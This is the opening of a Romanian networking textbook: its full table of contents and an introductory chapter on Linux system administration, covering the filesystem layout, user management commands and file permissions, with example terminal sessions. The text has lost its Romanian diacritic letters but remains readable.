You are on page 1of 418

0

Introducere n sisteme de operare ......................................................................................... 1 0.1 Ce este un sistem de operare? ....................................................................................... 1 0.1.1 Ce nseamn administrarea unui sistem de operare?............................................... 2 0.2 Noiuni de baz pentru administrarea unui sistem de operare Linux............................ 2 0.2.1 Componentele unui sistem GNU/Linux. Distribuii ................................................... 3 0.2.2 Sistemul de fiiere ..................................................................................................... 3 0.2.3 Gestiunea utilizatorilor .............................................................................................. 4 0.2.4 Drepturi pe sistemul de fiiere .................................................................................. 5 0.2.5 Gestiunea pachetelor ................................................................................................ 6 0.2.6 Gestiunea pachetelor DEB......................................................................................... 7 0.2.7 Gestiunea serviciilor .................................................................................................. 8 0.2.8 Shell scripting ............................................................................................................ 9 0.3 Introducere n Microsoft Windows Server 2008 .......................................................... 12 0.3.1 Despre Microsoft Windows Server 2008 ................................................................. 12 0.3.2 Windows PowerShell ............................................................................................... 13 1 Nivelul fizic............................................................................................................................ 32 1.1 Semnale ........................................................................................................................ 32 1.1.1 Tipuri de semnale .................................................................................................... 32 1.1.2 Codarea ................................................................................................................... 34 1.1.3 Modularea ............................................................................................................... 36 1.1.4 Multiplexarea .......................................................................................................... 37 1.1.5 Caracteristici ale semnalului ................................................................................... 38 1.2 Soluii de comunicaie pe cupru ................................................................................... 41 1.2.1 Cablul coaxial........................................................................................................... 41 1.2.2 Cablul torsadat ........................................................................................................ 41 1.3 Soluii de comunicaie pe fibr optic .......................................................................... 46 1.3.1 multi-mode .............................................................................................................. 48 1.3.2 single-mode ............................................................................................................. 48 1.3.3 Comparaie ntre single-mode i multi-mode ......................................................... 48 1.3.4 Mod de construcie, conectori ................................................................................ 49 1.3.5 Multiplexarea prin divizarea lungimii de und WDM .......................................... 52 1.3.6 Comparaie ntre fibra optic i cablul UTP ............................................................. 53 1.4 Caracteristici ale mediilor de transmisie ...................................................................... 54 1.4.1 Frecvena ................................................................................................................. 54 1.4.2 Limea de band .................................................................................................... 54 1.4.3 Uniti de msur .................................................................................................... 54 1.4.4 Baseband i broadband ........................................................................................... 55 1.5 Echipamente de reea de nivel fizic ............................................................................. 56 1.5.1 Repetorul ................................................................................................................. 56 1.5.2 Convertorul ............................................................................................................. 58 1.6 Studii de caz .................................................................................................................. 58 1.6.1 Realizarea patch-urilor UTP straight-through, crossover, rollover ......................... 58 2 Reele Ethernet..................................................................................................................... 60 2.1 Noiuni generale ........................................................................................................... 60 2.1.1 Structura cadrului Ethernet..................................................................................... 61 2.1.2 CSMA/CD ................................................................................................................. 62 2.1.3 Full-duplex Ethernet ................................................................................................ 64 2.2 Ethernet switching ....................................................................................................... 65 2.2.1 nvarea adreselor ................................................................................................. 66 2.2.2 Deciziile de comutare .............................................................................................. 67 2.2.3 Evitarea buclelor de nivel doi STP ........................................................................ 68 2.2.4 Metode de comutare .............................................................................................. 73 2.2.5 Switch vs. Bridge ..................................................................................................... 74

ii | R e e l e L o c a l e 2.3 Reele locale virtuale .................................................................................................... 75 2.3.1 Tipuri de VLAN-uri ................................................................................................... 78 2.3.2 Legturi acces/trunchi ............................................................................................. 79 2.3.3 Metode de identificare............................................................................................ 79 2.4 Rutare ntre VLAN-uri ................................................................................................... 82 2.5 Rezumat ........................................................................................................................ 83 2.6 Studiu de caz:................................................................................................................ 84 2.6.1 Comenzi pe switchuri Cisco ..................................................................................... 84 2.6.2 ncapsularea pachetelor: dot1q .............................................................................. 87 2.7 Realizarea unui bridge ntre conexiuni n Windows Server 2008................................. 89 3 Adresarea IP.......................................................................................................................... 92 3.1 Prezentarea protocolului IP .......................................................................................... 92 3.1.1 Structura antetului IPv4 .......................................................................................... 92 3.1.2 Structura antetului IPv6 .......................................................................................... 94 3.1.3 Clase de adrese........................................................................................................ 95 3.1.4 Masca de reea ........................................................................................................ 97 3.1.5 Subreele ................................................................................................................. 98 3.1.6 Super-reele............................................................................................................. 99 3.1.7 ARP ........................................................................................................................ 100 3.1.8 DHCP ...................................................................................................................... 105 3.2 Definirea parametrilor de reea n Linux .................................................................... 106 3.2.1 Configurarea temporar........................................................................................ 106 3.2.2 Configurarea permanent ..................................................................................... 107 3.3 Configurarea serviciului DHCP pe un server Linux ..................................................... 108 3.3.1 Instalarea i configurarea serverului DHCP ........................................................... 108 3.3.2 DHCP Relay ............................................................................................................ 110 3.3.3 Exemplu de configurare DHCP .............................................................................. 110 3.4 Configurarea adreselor de reea n Windows Server 2008 ........................................ 112 3.4.1 Network and Sharing Center ................................................................................. 112 3.4.2 Network Connections ............................................................................................ 114 3.4.3 Vizualizarea parametrilor de reea........................................................................ 116 3.4.4 Configurarea manual a adreselor IP .................................................................... 118 3.4.5 Definirea unei configuraii IP alternative .............................................................. 120 3.4.6 Asignarea automat a adreselor private (APIPA) .................................................. 121 3.5 Configurarea din linia de comand............................................................................. 122 3.5.1 Verificarea unei conexiuni ..................................................................................... 124 3.5.2 Configurri statice i dinamice prin PowerShelL ................................................... 126 3.6 Studiu de caz............................................................................................................... 128 4 Rutarea n Internet ............................................................................................................. 132 4.1 Protocoale de rutare i protocoale rutate.................................................................. 132 4.1.1 Ce este Internetul? ................................................................................................ 132 4.1.2 Tabele de rutare .................................................................................................... 133 4.1.3 Clasificarea rutelor ................................................................................................ 134 4.1.4 Rute statice............................................................................................................ 136 4.2 Protocoale rutate ....................................................................................................... 136 4.3 Protocoale de rutare .................................................................................................. 137 4.3.1 Determinarea cii optime ..................................................................................... 137 4.3.2 Clasificarea protocoalelor de rutare ..................................................................... 138 4.3.3 Protocoale distance-vector ................................................................................... 138 4.3.4 Protocoale link state.............................................................................................. 139 4.4 Sisteme autonome...................................................................................................... 139 4.4.1 Ce este un sistem autonom? ................................................................................. 139 4.4.2 Protocoale de rutare inter-AS ............................................................................... 140

iii | C u p r i n s 4.5 Configurri la nivel de router n Linux ........................................................................ 141 4.5.1 Activarea rutrii..................................................................................................... 141 4.5.2 Configurarea rutelor.............................................................................................. 142 4.6 NAT - Network Address Translation ........................................................................... 144 4.6.1 Translatarea de adrese n Linux ............................................................................ 146 4.6.2 Alterarea avansat a pachetelor ........................................................................... 147 4.6.3 Tunelare ................................................................................................................ 148 4.6.4 Configurarea tunelului GRE n Linux...................................................................... 149 4.7 Rutarea n Windows Server 2008 ............................................................................... 150 4.7.1 Routing and remote access services ..................................................................... 150 4.8 Studii de caz ................................................................................................................ 157 4.8.1 ncapsularea pachetelor: exemplificare port forwarding ..................................... 157 4.8.2 ncapsularea pachetelor: exemplu de tunelare .................................................... 158 5 Wireless .............................................................................................................................. 162 5.1 Introducere n reele wireless .................................................................................... 162 5.1.1 Introducere n comunicarea wireless .................................................................... 162 5.1.2 Considerente de nivel fizic .................................................................................... 163 5.1.3 Standarde pentru reele locale (WLANs) .............................................................. 165 5.1.4 Wireless MAN ........................................................................................................ 167 5.1.5 Implementarea reelelor wireless ......................................................................... 167 5.1.6 Comunicarea wireless............................................................................................ 170 5.1.7 Securitatea wireless............................................................................................... 175 5.2 Configurarea unei reele wireless n Linux configurri de baz .............................. 176 5.2.1 De ce wireless pe Linux? ........................................................................................ 176 5.2.2 Configurri de baz ............................................................................................... 177 5.3 Configurarea unei reele wireless n Linux - configurri avansate ............................. 184 5.3.1 Partajarea unei conexiuni la Internet ntr-o reea ad hoc..................................... 184 5.3.2 Configurri de securitate n wireless ..................................................................... 186 5.4 Wireless n Windows Server 2008 .............................................................................. 191 5.4.1 Activarea serviciului Wireless n Windows Server 2008 ........................................ 191 5.4.2 Configurarea profilurilor wireless.......................................................................... 191 5.4.3 Conectarea la o reea wireless .............................................................................. 192 5.4.4 Managementul conexiunilor wireless ................................................................... 195 5.4.5 Conexiuni wireless ad hoc ..................................................................................... 196 5.5 Administrarea n linie de comand i PowerShell ...................................................... 198 5.5.1 Managementul serviciului wireless prin netsh wlan ............................................. 198 5.5.2 Managementul serviciului wireless prin PowerShell ............................................. 202 6 Securitate i monitorizare .................................................................................................. 206 6.1 Secure Shell (SSH) ....................................................................................................... 206 6.1.1 Protocolul SSH ....................................................................................................... 207 6.1.2 Configuraii de baz SSH ....................................................................................... 209 6.1.3 Configuraii avansate SSH ..................................................................................... 212 6.2 Firewall ....................................................................................................................... 215 6.2.1 Filtrarea de pachete .............................................................................................. 216 6.2.2 Translatarea de adrese .......................................................................................... 218 6.2.3 Configurri avansate iptables ................................................................................ 220 6.3 Capturare pachetelor i analiza pachetelor. IDS/IPS. ................................................ 221 6.3.1 Wireshark configurri de baz ........................................................................... 221 6.3.2 Wireshark configurri avansate ......................................................................... 224 6.3.3 Snort captur de pachete n linie de comand. IDS/IPS. .................................... 225 6.4 Securitate i monitorizare n Windows Server 2008 .................................................. 230 6.4.1 Windows Firewall with Advanced Security ........................................................... 230 6.4.2 Monitorizare.......................................................................................................... 241

iv | R e e l e L o c a l e 7 DNS ..................................................................................................................................... 245 7.1 Protocolul DNS............................................................................................................ 245 7.1.1 Domenii DNS ......................................................................................................... 245 7.1.2 Tipuri de servere DNS ............................................................................................ 247 7.1.3 Tratarea unei cereri DNS ....................................................................................... 249 7.1.4 Structura bazei de date DNS. ................................................................................ 251 7.2 Configurri de baz DNS ............................................................................................. 253 7.2.1 Configurarea clientului DNS pe Linux .................................................................... 253 7.2.2 Utilitare de interogare DNS ................................................................................... 253 7.2.3 Configurarea serverului DNS BIND9 ................................................................... 254 7.3 Configurri avansate DNS ........................................................................................... 264 7.3.1 Delegarea unui subdomeniu DNS. ........................................................................ 264 7.3.2 Efectuarea DNS load-balancing. ............................................................................ 265 7.3.3 Configurarea DNS Master/Slave............................................................................ 266 7.4 Configurarea unui server DNS pe Windows Server 2008 ........................................... 267 7.4.1 Instalare i configurare .......................................................................................... 268 7.5 Configurri n linie de comand ................................................................................. 278 7.5.1 Fiierul Hosts ......................................................................................................... 278 7.5.2 Ipconfig .................................................................................................................. 278 7.5.3 Dnscmd .................................................................................................................. 279 7.5.4 Nslookup................................................................................................................ 280 8 E-mail .................................................................................................................................. 283 8.1 Arhitectur i funcionare. Protocoale ....................................................................... 284 8.1.1 Funcionarea serviciului de e-mail ........................................................................ 284 8.1.2 Formatul mesajelor ............................................................................................... 286 8.1.3 SMTP (Simple Mail Transfer Protocol) .................................................................. 287 8.1.4 POP3 (Post Office Protocol)................................................................................... 288 8.1.5 IMAP (Internet Message Access Protocol) ............................................................ 289 8.2 Formatul csuei potale ............................................................................................ 289 8.2.1 mbox ...................................................................................................................... 289 8.2.2 Maildir ................................................................................................................... 290 8.3 Clieni de e-mail.......................................................................................................... 290 8.3.1 mailx ...................................................................................................................... 291 8.4 MTA ............................................................................................................................ 291 8.5 Postfix ......................................................................................................................... 292 8.5.1 Arhitectur ............................................................................................................ 292 8.5.2 Instalare ................................................................................................................. 292 8.5.3 Interaciunea cu Postfix......................................................................................... 293 8.5.4 Fiiere de configurare ............................................................................................ 293 8.5.5 Configurare de baz .............................................................................................. 294 8.5.6 Configurare utilizatori virtuali i csue potale virtuale ...................................... 296 8.5.7 Configurare suport SASL i TLS .............................................................................. 299 8.6 MDA ............................................................................................................................ 300 8.6.1 Procmail................................................................................................................. 300 8.7 Servere de IMAP ......................................................................................................... 303 8.7.1 Courier IMAP Server .............................................................................................. 303 8.8 Webmail ..................................................................................................................... 305 8.9 Studii de caz ................................................................................................................ 305 8.9.1 Comenzi SMTP. Transmiterea unui mesaj folosind SMTP..................................... 305 8.9.2 Comenzi POP3. Citirea unui mesaj folosind POP3................................................. 306 9 World Wide Web ................................................................................................................ 310 9.1 Modul de funcionare a Web-ului .............................................................................. 310 9.1.1 Uniform Resource Locator (URL) ........................................................................... 311

v|Cuprins 9.1.2 Hypertext Transfer Protocol .................................................................................. 311 9.1.3 HyperText Markup Language ................................................................................ 312 9.1.4 Clieni web ............................................................................................................. 313 9.1.5 Servere web........................................................................................................... 313 9.2 Apache HTTP Server ................................................................................................... 314 9.2.1 Instalare ................................................................................................................. 315 9.2.2 Interaciunea cu serverul web............................................................................... 315 9.2.3 Configurare global ............................................................................................... 316 9.2.4 Gzduire virtual ................................................................................................... 328 9.3 Configurare suport SSL pentru Apache ...................................................................... 331 9.3.1 Activare modul. Configurare Port ......................................................................... 331 9.3.2 Generare certificat ................................................................................................ 332 9.3.3 Configurare virtual host ........................................................................................ 332 9.4 IIS 7 i Windows Server 2008...................................................................................... 333 9.4.1 Avantajele lui IIS 7 ................................................................................................. 334 9.4.2 Instalarea IIS 7 ....................................................................................................... 334 9.4.3 Interfaa de administrare ...................................................................................... 337 9.4.4 Adugarea unui site web ....................................................................................... 339 9.4.5 Configurarea site-urilor ......................................................................................... 341 9.4.6 Securitate .............................................................................................................. 345 9.4.7 Crearea i ntreinerea jurnalelor .......................................................................... 348 9.4.8 Crearea de directoare virtuale .............................................................................. 349 9.4.9 Aplicaie: Integrarea IIS 7 i PHP ........................................................................... 350 9.5 IIS 7 Configurri n linie de comand ....................................................................... 351 10 Securitatea reelei .......................................................................................................... 355 10.1 Riscuri de securitate ............................................................................................... 355 10.1.1 Principii de baz .................................................................................................. 355 10.1.2 Tipuri de atacuri de reea .................................................................................... 356 10.1.3 Prevenirea atacurilor ........................................................................................... 364 10.2 Auditarea reelei..................................................................................................... 365 10.3 Utilitare pentru asigurarea securitii .................................................................... 368 10.3.1 Nmap ................................................................................................................... 368 10.3.2 Metasploit ........................................................................................................... 370 10.4 Studii de caz ............................................................................................................ 373 10.4.1 ARP Poisoning...................................................................................................... 373 10.4.2 Firewalking .......................................................................................................... 377 11 Protocoale de nivel transport ......................................................................................... 380 11.1 Noiuni generale ..................................................................................................... 380 11.2 UDP ......................................................................................................................... 381 11.2.1 Caracteristici UDP ................................................................................................ 381 11.2.2 Formatul datagramelor UDP ............................................................................... 381 11.3 TCP .......................................................................................................................... 382 11.3.1 Caracteristici TCP ................................................................................................. 382 11.3.2 Formatul segmentelor TCP .................................................................................. 383 11.3.3 Conexiunea i comunicaia TCP........................................................................... 384 11.3.4 Controlul fluxului ................................................................................................. 392 11.4 Studiu de caz: Fragmentarea pachetelor UDP ....................................................... 395 12 Anexe .............................................................................................................................. 399 12.1 Anexa 1: Instalare Windows Server 2008 ............................................................... 399 12.2 Anexa 2: Sistemul de boot n Windows Server 2008.............................................. 404

1|Cuprins

0 Introducere n sisteme de operare


One of the main advantages of Unix over, say, VMS, is the tremendous number of features Unix lacks. Chris Torek

Ce se nva din acest capitol?


Noiunile de baz n administrarea unui sistem de operare Administrarea unui sistem Linux Noiuni de baz n shell scripting Administrarea unui sistem Windows Windows PowerShell

Cine este...
Linus Torvalds este programator finlandez, cunoscut cel mai bine ca arhitectul ef al nuceulului Linux (BDFL Benevolent Dictator For Life). Dup ce a primit o copie a sistemului MINIX, a nceput lucrul la scrierea Linux pentru i386. S-a mutat in Statele Unite unde susine micarea Open Software prin intermediul Linux Foundation. Este angajat al Open Source Development Labs. Dezvolt n continuare kernelul Linux n cadrul comunitii Linux. Alan Cox este un programator britanic implicat n dezvoltarea nucleul Linux. n timp ce era angajat la Universitatea Swansea din ara Galilor a instalat o distribuie de Linux ntr-o reea intens folosit. A nceput s rezolve numeroase bug-uri i a rescris aproape integral partea de reea din kernel. A ntreinut versiunea 2.2 de Linux, apoi a dezvoltat propria versiune 2.4. A fost pentru o mult vreme considerat n cadrul comunitii Linux secundul lui Linus Torvalds. Este un puternic susintor nrit programelor free/open-source. David Miller este un dezvoltator al nucleului Linux implicat la partea de networking i SPARC. A portat Linux pe arhitectura Sun Microsystem SPARC, argumentnd de ce Linux merge mai bine dect Solaris. Este dezvolatorul stivei TCP/IP din Linux i unul din principalii contribuitori la mbuntirea performaelor Linux n reelele cu trafic intens. Dave Cutler este designer i devoltator al sistemelor de operare de la DEC (RSX-11M, VMS, VAXELN) i de la Microsoft (Windows NT). S-a mutat de la DEC la Microsoft pentru a conduce dezvoltarea Windows NT concentrndu-se pe implementarea sistemului de operare pe procesorul pe 64bii Alpha de la DEC. Dupa dispariia DEC, a lucrat la portarea Windows pe AMD 64.

0.1 Ce este un sistem de operare?


Un sistem de operare este definit de obicei ca un set de programe care faciliteaz accesul utilizatorului la resursele sistemului. Din punct de vedere conceptual sistemul de operare este vzut ca o abstractizare sau ca o extensie a mainii fizice. Componentele principale ale unui sistem de operare complet, aa cum este el vzut de utilizator, sunt prezentate n figur. Cele trei componente sunt:
aplicaiile: programe folosite direct de utilizator pentru rezolvarea unor sarcini specifice; n aceast categorie intr suita Office, browser-e, clieni de e-mail, aplicaii multimedia, medii de dezvoltare integrate etc. aplicaii de baz: programele folosite n principal pentru gestiunea i administrarea sistemului sau pentru a asigura servii aplicaiilor de nivel nalt; n aceast categorie intr interpretorul de comenzi, compilatoare, linker-e, biblioteci etc.

2|Reele Locale nucleul sau kernel-ul: componenta de baz (inima) sistemului de operare; conine cod care va fi rulat n nivelul privilegiat al procesorului (supervisor) cu scopul de intermediere a accesului la resursele fizice ale sistemului i de gestiune a acestora; nucleul este componenta esenial care stabilete nivelul de performan i de securitate a sistemului de operare. aplicaii user space aplicaii de baz

nucleu

kernel space

0-1: Structura unui sistem de operare Dei n lumea sistemelor de operare exist o mare diversitate, cteva sisteme de operare au o cot de pia i de utilizare relevant. Din punct de vedere al destinaiei, sistemele de operare moderne se mpart n sisteme de operare desktop (Windows XP, Ubuntu, Fedora, Xandros, Mac OS X), sisteme de operare server (Windows 2003 Server, Windows 2008 Server, Ubuntu Server, RedHat Enterprise Linux) i sisteme de operare embedded (Windows CE, Windows Mobile, Symbian, Linux). Familiile de sisteme de operare cu o cot semnificativ n pia sunt familia Windows, familia Mac OS, familia GNU/Linux i familia BSD. Sistemul de operare cu cea mai mare cot pe piaa dispozitivelor integrate este Symbian.

0.1.1 Ce nseamn administrarea unui sistem de operare?


Administrarea unui sistem de operare sau system administration se refer la activitile de instalare, ntreinere i suport pentru sisteme de calcul (de obicei servere) i configurarea serviciilor pe care aceste sisteme le ofer. Un administrator de sistem este n general o persoan ce deine un spectru larg de cunotine tehnice i abiliti de organizare i supervizare a diverselor activiti asociate. Un administrator de sistem nu este un programator sau inginer software. Dei un administrator nu proiecteaz sau implementeaz, de obicei, aplicaii noi, nelegerea diverselor programe este necesar. De asemenea, anumite limbaje de programare sunt folosite pentru automatizarea sarcinilor comune. O cerin important este nelegerea i implementarea soluiilor de securitate legate de buna funcionare a sistemului. n general, un administrator de sistem are cunotinte aprofundate de scripting care i permit automatizarea sarcinilor i obinerea periodic de informaii. Diverse organizaii ofer training i examene de certificare pentru administratorii de sistem pentru diverse sisteme de operare: MCSA (Microsoft Certified System Engineer), RHCE (RedHat Certified Engineer), SCNA (Sun Certified Network Administrator).

0.2 Noiuni de baz pentru administrarea unui sistem de operare Linux


Cunotinele i activitile necesare pentru adminstrarea unui sistem de operare Linux sunt similare cu cele necesare pentru orice sistem Unix. Componentele importante sunt gestiunea dispozitivelor hardware, sistemului de fiiere, gestiunea utilizatorilor, gestiunea

3|Cuprins

pachetelor de programe, gestiunea serviciilor, asigurarea securitii sistemului, automatizarea sarcinilor. Aceast carte se va referi cu predilecie la gestiunea serviciilor. Vor fi prezentate i informaii utile despre alte componente necesare. Majoritatea interaciunii administratorului de sistem cu sistemul de operare Linux se va realiza prin intermediul interfeei n linia de comand (shell) i a fiierelor de configurare text (cu ajutorul unui editor). Se vor considera acoperite cunotinele de baz despre utilizarea interfeei n linia de comand i editarea fiierelor de configurare.

0.2.1 Componentele unui sistem GNU/Linux. Distribuii


Un sistem de operare GNU/Linux este compus din nucleul (kernel-ul) Linux i aplicaiile ce ruleaz peste acesta. O bun parte din aceste aplicaii sunt parte din proiectul GNU1. Una dintre cele mai importante aplicaii este interpretorul de comenzi (shell-ul). Shell-ul implicit pe majoritatea distribuiilor Linux este Bash. Shell-ul acioneaz ca un intermediar ntre utilizator i nucleu. Shell-ul transform comenzile introduse de utilizator n procese care folosesc nucleul pentru realizarea unei sarcini. Alte aplicaii de baz importante sunt editoare, compilatoare, biblioteci. n general aplicaiile grafice lipsesc de pe un sistem server, interaciunea realizndu-se aproape exclusiv prin intermediul interfeei n linie de comand. Spre deosebire de multe alte sisteme de operare, dezvoltarea nucleului i a aplicaiilor se realizeaz diferit. Agregarea acestor componente se realizeaz prin intermediul unei distribuii GNU/Linux. Exist sute de distribuii Linux, printre cele mai cunoscute numrndu-se Ubuntu, Fedora/RedHat, SuSE, Debian, Gentoo, Slackware etc. Unele distribuii sunt similare. Un astfel de exemplu sunt distribuiile Debian-based: Debian, Ubuntu, MEPIS, Damn Small Linux, Xandros, Linspire. Aceste distribuii folosesc pachetele software puse la dispoziie de proiectul Debian (actualmente n numr de peste 26000) i sistemul APT2 de gestiune a pachetelor.

0.2.2 Sistemul de fiiere


Nucleul Linux ofer suport pentru un numr impresionat de sisteme de fiiere. Cu toate acestea, interfaa oferit utilizatorului este aceeai indiferent de tipul sistemului de fiiere din spate. n general, denumirile diverselor fiiere i directoare sunt simple pentru a putea fi folosite eficient din linia de comand (/bin, /var, /usr, /lib). n opoziie, Mac OS X folosete denumiri mai clare (/Library/, /Applications/, /Users/). Separatorul folosit este / (slash). Majoritatea distribuiilor Linux ofer o interfa compatibil cu Filesystem Hierarchy Standard3. FHS definete numele directoarelor principale i a coninutului acestora ntr-o distribuie Linux. Cteva din intrrile importante sunt precizate n tabelul de mai jos: Director
/ /bin/ /dev/ /etc/

Descriere Rdcina sistemului de fiiere Executabile (binare) asociate comenzilor importante Dispozitive (/dev/null, /dev/hda, /dev/random) Fiiere de configurare

1 2 3

http://www.gnu.org/ http://www.debian.org/doc/manuals/apt-howto/ http://www.pathname.com/fhs/

4|Reele Locale
/home/ /lib/ /mnt/ /proc/ /root/ /sbin/ /usr/ /var/ /var/log/

Directoarele home ale utilizatorilor Biblioteci Sisteme de fiiere montate temporar Sistemul de fiiere procfs Home-ul utilizatorului privilegiat (root) Executabilele comenzilor ce necesit drepturi de utilizator privilegiat Ierarhie secundar: conine binare (/usr/bin), biblioteci (/usr/lib) Fiiere variabile (jurnale, cozi, temporare) Fiiere de jurnalizare pentru diverse aplicaii

Comenzile de baz pentru interaciunea cu sistemul de fiiere sunt: pwd, ls, cd, touch, rm, mkdir, rmdir, cp, mv, link, unlink.

0.2.3 Gestiunea utilizatorilor


Gestiunea utilizatorilor se refer la adugarea de noi utilizatori, tergerea unui utilizator existent, modificarea informaiilor despre un utilizator i afiarea diverselor informaii. n sistemele Unix, informaiile despre utilizatori sunt reinute n fiierul /etc/passwd. Fiecare linie din acest fiier conine numele utilizatorului, identificatorului su, home-ul, shellul rulat n momentul autentificrii i alte informaii de descriere:
anaconda:~# cat /etc/passwd andreir:x:1114:1026:Andrei Rizoiu:/home/students/andreir:/bin/bash alexn:x:1115:1026:Alex Negrea:/home/students/alexn:/bin/bash [...]

Din motive de securitate, hash-ul asociat parolei nu se gsete n fiierul /etc/passwd, ci n fiierul /etc/shadow care nu poate fi accesat de majoritatea utilizatorilor:
anaconda:~# ls -l /etc/shadow -rw-r----- 1 root shadow 7068 2008-09-12 11:59 /etc/shadow

Pentru a afla informaii despre un utilizator al sistemului se pot folosi comnzile id sau finger:
anaconda:~# id andreir uid=1114(andreir) gid=1026(students) groups=1026(students),1037(rl) anaconda:~# finger alexn Login: alexn Name: Alex Negrea Directory: /home/students/alexn Shell: /bin/bash Never logged in. No mail. No Plan.

Utilizatorul privilegiat ntr-un sistem Unix este utilizatorul root cu uid-ul 0 i home-ul n /root:
anaconda:~# head -1 /etc/passwd root:x:0:0:root:/root:/bin/bash

Utilizatorul root (de fapt utilizatorul cu uid-ul 0) are drepturi absolute n cadrul sistemului i poate rula orice comand. Se recomand folosirea unui cont neprivilegiat. Doar atunci cnd este nevoie se va folosi contul privilegiat. Schimbarea unui utilizator se realizeaz cu ajutorul comenzii su urmat de introducerea parolei pentru acel utilizator. Dac utilizatorul iniial este root, nu se solicit introducerea parolei:
anaconda:~# head -1 /etc/passwd

5|Cuprins
root:x:0:0:root:/root:/bin/bash anaconda:~# su - andreir andreir@anaconda:~$ su - razvan Password:

Sistemele Ubuntu dezactiveaz, de obicei, utilizatorul root i recomand folosirea comenzii sudo. Comanda sudo, mpreun cu fiierul /etc/sudoers permite rularea de comenzi privilegiate de ctre un utilizator neprivilegiat. De obicei, un utilizator neprivilegiat care are drept de sudo va rula comanda sudo bash pentru a obine un shell cu drepturi privilegiate. Schimbarea parolei unui utilizator se realizeaz cu ajutorul comenzii passwd. Utilizatorul privilegiat poate schimba parola oricrui utilizator. Un utilizator neprivilegiat i poate schimba parola doar siei:
anaconda:~# passwd guest Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully

n sistemele Debian-based, adugarea, respectiv tergerea unui utilizator se realizeaz prin intermediul scripturilor adduser i deluser:
anaconda:~# adduser test Adding user `test' ... Adding new group `test' (1038) ... Adding new user `test' (1003) with group `test' ... Creating home directory `/home/test' ... Copying files from `/etc/skel' ... Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully Changing the user information for test Enter the new value, or press ENTER for the default Full Name []: Test User Room Number []: Work Phone []: Home Phone []: Other []: Is the information correct? [y/N] y anaconda:~# id test uid=1003(test) gid=1038(test) groups=1038(test) anaconda:~# deluser --remove-home test Looking for files to backup/remove ... Removing files ... Removing user `test' ... Done.

Avantajul i, n acelai timp, dezavantajul folosirii comenzii adduser este interactivitatea. Automatizarea sarcinilor presupune comenzi non-interactive. Pentru aceasta, se pot folosi comenzile useradd, userdel i usermod. useradd, respectiv userdel sunt folosite de scripturile adduser i deluser.
anaconda:~# useradd -m -d /home/test test anaconda:~# id test uid=1116(test) gid=1116(test) groups=1116(test) anaconda:~# usermod -s /bin/sh test anaconda:~# userdel -r test anaconda:~# id test id: test: No such user

0.2.4 Drepturi pe sistemul de fiiere


Tradiional, sistemele Unix folosesc un sistem simplificat de asociere a drepturilor pe o intrare n sistemul de fiiere. Orice fiier este deinut de un utilizator i un grup. Exist astfel trei categorii de utilizatori: utilizatorul care deine fiierul (user), grupul care deine fiierul (group), ceilali utilizatori (others). Prescurtat cele trei categorii sunt denumite ugo. Fiecare dintre cele trei categorii are trei drepturi posibile: citire (read), scriere (write) i execuie (execute). Prescurtat cele trei drepturi sunt denumite rwx. Fiecare din cele trei categorii de utilizatori poate avea oricare i oricte din cele trei drepturi i sunt exprimate de obicei ntr-o form liniar de comanda ls:

6|Reele Locale
anaconda:~# ls -l /etc/services -rw-r--r-- 1 root root 18274 2007-02-02 04:09 /etc/services anaconda:~# ls -l /var/mail/razvan -rw-rw---- 1 razvan mail 0 2007-06-19 16:54 /var/mail/razvan

Exist i un echivalent binar al drepturilor exprimat n octal. Astfel, cele dou fiiere de mai sus au drepturile 644, respectiv 660 n octal. Cele trei drepturi de mai sus au semnificaii diferite cnd sunt folosite peste fiiere sau directoare, conform tabelului de mai jos: Drept read write execute Efect fiier Fiierul poate fi vizualizat (cat, less) Fiierul poate fi scris (un editor) sau ters (rm) Fiierul (binar sau script) poate fi executat Efect director Poate fi vizualizat coninutul su (ls) Pot fi create/terse noi intrri (touch, rm, mkdir, rmdir) Directorul poate fi parcurs (poate fi parte a unei ci)

0-2: Drepturile directoarelor i fiierelor Schimbarea drepturilor pe un fiier se realizeaz cu ajutorul comenzii chmod. Comanda are efect doar dac este rulat de utilizatorul ce deine fiierul:
razvan@anaconda:/tmp$ touch a.txt razvan@anaconda:/tmp$ ls -l a.txt -rw-r--r-- 1 razvan razvan 0 Sep 12 17:47 a.txt razvan@anaconda:/tmp$ chmod a+w a.txt razvan@anaconda:/tmp$ ls -l a.txt -rw-rw-rw- 1 razvan razvan 0 Sep 12 17:47 a.txt razvan@anaconda:/tmp$ chmod u+x,g-r,o-w a.txt razvan@anaconda:/tmp$ ls -l a.txt -rwx-w-r-- 1 razvan razvan 0 Sep 12 17:47 a.txt razvan@anaconda:/tmp$ chmod 744 a.txt razvan@anaconda:/tmp$ ls -l a.txt -rwxr--r-- 1 razvan razvan 0 Sep 12 17:47 a.txt

Schimbarea deintorului i grupului ce deine fiierul se realizeaz cu ajutorul comenzii


chown. Comanda chown poate fi rulat doar de utilizatorul privilegiat:
anaconda:/tmp# ls -l a.txt -rwxr--r-- 1 razvan razvan 0 2008-09-12 17:47 a.txt anaconda:/tmp# chown guest:projects a.txt anaconda:/tmp# ls -l a.txt -rwxr--r-- 1 guest projects 0 2008-09-12 17:47 a.txt anaconda:/tmp# chown mircea a.txt anaconda:/tmp# ls -l a.txt -rwxr--r-- 1 mircea projects 0 2008-09-12 17:47 a.txt

0.2.5 Gestiunea pachetelor


Un pachet, sau un pachet software, este o aplicaie sau o component accesibil n forma unei arhive care poate fi instalat de un sistem de gestiune a pachetelor (PMS Package Management System). De obicei, pachetele reprezint programe precompilate care pot fi instalate uor, spre deosebire de instalarea din surse care este mai anevoioas. Lucrul cu pachete (instalare, dezinstalare, configurare) se realizeaz prin intermediul unui sistem de gestiune a pachetelor (precum dpkg, rpm, pacman). Un astfel de pachet conine, n afar de fiierele asociate programului i un set de metainformaii precum versiunea pachetului, descrierea i dependine. PMS-ul folosete aceste informaii pentru a decide dac se va realiza instalarea pachetului, upgrade-ul acestuia, instalarea dependinelor etc. O dependin ntre pachetele A i B nseamn c instalarea pachetului A necesit instalarea pachetului B. La fel, dezinstalarea pachetului B va fora dezinstalarea pachetului A.

7|Cuprins

